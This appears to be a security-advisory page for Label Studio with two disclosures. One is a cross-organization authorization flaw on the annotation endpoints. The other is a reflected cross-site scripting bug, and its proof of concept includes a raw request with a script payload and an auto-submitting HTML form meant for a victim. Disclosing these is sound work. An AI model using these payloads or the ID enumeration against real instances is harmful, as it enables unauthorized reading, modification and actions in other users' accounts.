See how label studio compares to other vendors in security performance
Label Studio does not scope the annotation detail endpoint to the requesting user's organization. AnnotationAPI in labelstudio/tasks/api.py declares queryset = Annotation.objects.all() and provides no getqueryset override, so the default lookup retrieves any annotation by primary key. The view's permissionrequired entries name annotations.view, annotations.change and annotations.delete, and labelstudio/core/permissions.py registers every permission with rules.isauthenticated, so the check is satisfied by any logged-in account and no object-level organization test runs. The sibling task endpoint does constrain its queryset with projectorganization set to the requester's active organization, which is the boundary this path omits. Annotation identifiers are sequential integers, so an authenticated user of one organization can enumerate identifiers to read, modify and delete annotations belonging to other organizations on the same instance. The same unscoped queryset appears on AnnotationConvertAPI in the same file.
Summary The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at labelstudio/projects/views.py. python 39: @requirehttpmethods(['POST']) 40: def uploadexampleusingconfig(request): 41: """Generate upload data example by config only""" 42: config = request.POST.get('labelconfig', '') 43: 44: orgpk = getorganizationfromrequest(request) 45: securemode = False 46: if orgpk is not None: 47: org = generics.getobjector404(Organization, pk=orgpk) 48: securemode = org.securemode 49: 50: try: 51: Project.validatelabelconfig(config) 52: taskdata, , = getsampletask(config, securemode) 53: taskdata = playgroundreplacements(request, taskdata) 54: except (ValueError, ValidationError, lxml.etree.Error): 55: response = HttpResponse('error while example generating', status=status.HTTP400BADREQUEST) 56: else: 57: response = HttpResponse(json.dumps(taskdata)) 58: return response The vulnerability is specifically located in line 57, where HttpResponse is used. python 57: response = HttpResponse(json.dumps(taskdata)) PoC Send the following request after changing the {host} to your own. css POST /projects/upload-example/ HTTP/1.1 Host: {host} Content-Type: application/x-www-form-urlencoded Content-Length: 67
labelconfig=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim. html <html> <body> <form action="http://{domain}/projects/upload-example/" method="POST"> <input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> Impact - Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.